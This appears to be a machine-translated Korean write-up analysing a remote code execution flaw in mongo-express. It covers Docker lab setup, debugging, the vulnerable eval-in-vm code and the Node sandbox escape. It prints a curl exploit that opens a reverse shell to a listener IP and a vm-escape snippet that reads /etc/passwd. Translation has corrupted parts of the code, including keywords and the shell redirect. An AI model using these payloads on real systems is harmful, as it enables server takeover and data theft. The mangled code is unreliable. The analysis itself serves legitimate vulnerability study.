mongo-express는 NodeJS, Express 및 Bootstrap3을 사용하여 작성된 MongoDB 관리 웹 관리 인터페이스입니다. 현재 mongo-express는 Github에서 가장 많은 스타를 보유한 MongoDB 관리 관리 인터페이스여야 합니다. 배포가 쉽고 사용이 간편하여 많은 사람들이 mongo를 관리하는 방법으로 선택하고 있습니다.
공식 GitHub 보안 게시판을 읽어보니 이 취약점이 0.54.0 이하의 모든 버전에 영향을 미치는 것으로 나타났습니다. 테스트를 위한 예로 0.49를 선택합니다. 이 취약성 환경에는 MongoDB 데이터베이스도 필요하므로 다음 docker 명령을 실행하여 빠르게 구축할 수 있습니다.
Build a MongoDB 데이터베이스<br>
docker run --name test - d mongo: 3.2
취약점이 포함된 mongo-express를 빌드하고 위의 MongoDB 데이터베이스에 연결합니다. <br>
docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49
로그를 보고 연결이 성공했는지 확인하세요.
여기서 nodejs를 디버깅하려면 시작 시 --inspect 매개변수를 추가해야 합니다. docker 시작 스크립트를 다음과 같이 수정합니다
docker restart 183
docker exec -it 183 bash를 사용하여 docker에 연결하여 디버그 서비스가 켜져 있는지 확인하세요
다음과 같이 포트 9229를 엽니다. 위의 그림. 외부 호스트가 9229 포트에 연결할 수 있는 한, 디버깅을 위해 크롬 플러그인을 사용할 수 있습니다. frp를 사용하여 포트를 전달하거나 docker -p 9229:9229 매개변수를 사용하여 처리할 수 있습니다.
크롬 플러그인을 사용하면 자바스크립트 스크립트 디버깅과 마찬가지로 nodejs 디버깅도 할 수 있고, 조작도 매우 편리합니다.
먼저 디버그 플러그인을 다운로드하세요
Chrome에서 정보 열기:inspect chrome devtools는 2016년 5월에 Nodejs 디버깅을 지원했습니다. Node용 전용 DevTools 열기
연결 주소 및 포트 구성
을 클릭하세요.
다음 단계는 js 디버깅과 같습니다
테스트 패키지를 보내고 라우팅 분기의 연결을 끊은 다음 이 취약점 디버깅을 시작할 수 있습니다.
<br>
<br>
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash -i > ;& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
이 디버깅의 취약점 원리는 비교적 간단합니다. 핵심 취약점은 명령입니다. 이는 가장 간단한 형태의 취약점이지만 샌드박스 VM을 우회해야 하기 때문에 약간의 노력이 필요합니다. 다행히 nodejs에는 VM 우회에 대한 연구 기반이 있습니다. 더 이상 고민하지 않고 최종 취약점 코드를 살펴보겠습니다
string은 toBSON의 매개변수입니다. BSON은 MongoDB의 일반적인 데이터 형식이며 JSON과 가까운 친척이지만 MongoDB의 데이터 형식과 많은 차이점이 있습니다. JSON. 그러나 새 문서 생성(다른 데이터베이스의 삽입 작업과 유사)과 같은 mongo-express의 모든 BSON 관련 작업은 toBSON() 함수를 거쳐야 합니다.
예를 들어 다음 작업은
코드 흐름이 bson.toBSON에 도달하면 eval 함수가 트리거됩니다. nodejs는 백엔드 언어로 사용될 수 있으므로 eval 함수는 서버 측에서 실행됩니다. , 이는 명령 주입을 유발하고 시스템에 해를 끼칠 수 있습니다.
<br>
<br>
exp.checkValid = function (req, res) {var doc = req.body.document;try { bson.toBSON(doc);} catch (err) { console.error(err) return res.send( '잘못됨');}res.send('유효함'); };
<br>
exports.toBSON = 함수(문자열) { var sandbox=exports.getSandbox(); string = string.replace(/ISODate(/g, 'new ISODate('); string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' + string + '));', 샌드박스); return sandbox.doc;};
코드 소스 분석에 따르면 toBSON의 매개변수 문자열은 req.body에 있는 문서이므로 이 부분을 제어할 수 있습니다. 가상 샌드박스인 vm.runInNewContext 함수를 찾을 수 있습니다. 따라서 다음 섹션에서는 샌드박스 보호를 우회하는 방법을 분석해 보겠습니다.
샌드박스는 실제 외부 코드에 영향을 주지 않고 신뢰할 수 없는 코드를 안전하게 실행할 수 있는 독립적인 환경입니다. 샌드박스에서는 코드 실행이 제한되는 경우가 많습니다. VM 모듈은 VM 가상 머신의 컨텍스트에서 코드를 컴파일하고 실행하기 위한 API를 제공합니다. VM 모듈을 사용하여 샌드박스 환경에서 코드를 실행합니다. 실행 중인 코드는 다른 V8 컨텍스트를 사용합니다. 즉, 전역 변수가 다른 코드와 다릅니다. 그러나 샌드박스의 코드는 여전히 노드 프로세스에 액세스할 수 있습니다. 우리는 우회하기 위해 이 방법을 자주 사용합니다.
vm.js
<br>
<br>
"엄격한 사용";const vm = require("vm");const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env' )()`);console.log(xyz);
this.process.env가 nodejs 프로세스 정보를 얻은 것을 볼 수 있으며 이는 시스템 명령을 실행하기 위해 기본 프로그램으로 다시 전환할 수 있음을 보여줍니다.
JavaScript에서 이는 자신이 속한 개체를 가리키므로 우리가 사용할 때 이미 VM 컨텍스트 외부의 개체를 가리킵니다. 그런 다음 이에 액세스하는 .constructor는 Object Constructor를 반환하고 Object Constructor에 액세스하는 .constructor는 Function 생성자를 반환합니다. 함수 생성자는 전역 액세스를 허용하는 자바스크립트의 최상위 함수와 같습니다. Function 생성자를 사용하면 문자열에서 함수를 생성하여 임의의 코드를 실행할 수 있습니다. 따라서 이를 사용하여 기본 프로세스로 돌아갈 수 있습니다. 그런 다음 이를 사용하여 기본 프로세스에 액세스하고 RCE를 수행할 수 있습니다.
<br>
<br>
"엄격한 사용";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
마찬가지로 vm2 함수도 우회할 수 있으니 참고하세요. 여기에서 원본 텍스트를 알아보세요. https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
여기에 두 가지 그림이 모든 것을 설명할 수 있습니다. mongo-query-parser를 사용하여 BSON 데이터를 구문 분석하고 소스에서 직접 교체하세요.
위 내용은 원격 코드 실행 취약점 사례 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!